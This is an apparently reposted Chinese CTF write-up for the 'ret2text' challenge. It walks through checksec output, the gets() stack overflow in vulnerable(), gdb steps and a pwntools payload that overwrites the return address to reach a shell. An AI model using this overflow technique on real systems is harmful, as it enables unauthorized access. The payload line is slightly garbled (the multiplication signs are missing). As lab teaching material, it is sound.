本文共 1460 字,大约阅读时间需要 4 分钟。
题目ret2text
使用file命令查看文件类型
root@CTF:/home/# file ret2text ret2text: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=64894e1bcdc9d77d3d983e907eba2605dbf19103, with debug_info, not stripped
root@CTF:/home/# checksec ret2text [*] '/home/ret2text' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
int __cdecl main(int argc, const char **argv, const char **envp){ setbuf(stdin, 0); setbuf(stdout, 0); puts("Have you heard of buffer overflow?"); vulnerable(); puts("It seems that you know nothing about it ......"); return 0;}
setbuf(xxxx,0) 关闭缓冲区
进入vulnerable()查看int vulnerable(){ char buffer[8]; // [esp+8h] [ebp-10h] gets(buffer); return 0;}
创建了一个8个字节的缓存,但是gets函数允许向buffer输入无限的内容。造成缓冲区溢出漏洞
根据图由ida中的注释 char buffer[8]; // [esp+8h] [ebp-10h] 可以知道 这个buffer距离esp8个字符,距离ebp -16个字符(10h是16进制的10)而ebp永远指向 stack frame pointer 。那么就需要溢出16个字节使用动态调试工具确认溢出长度
gdb xxx 进入调试魔术xxx是指需要动态调试的文件run 直接运行(一般在run之前使用断点)b *地址 或者 b main使用 next 进行断点前进。可以观察一步步的运行结果使用 s 进入某个具体的函数或者使用 stack 24 查看24项stack使用 from pwn import * 导入所有pwn需要的工具
使用 io=process("./ret2text") 打开进程访问链接覆盖数据[ebp-10h] 一共16个字符。覆盖 return 4个字符修改返回地址使用p32(0x8048522)组成数据 payload=b'a'16+b'1'4+p32(0x8048522)使用 io.send(payload) 发送payload使用 io.interactive 创建交互式会话接口转载地址:http://hnsyz.baihongyu.com/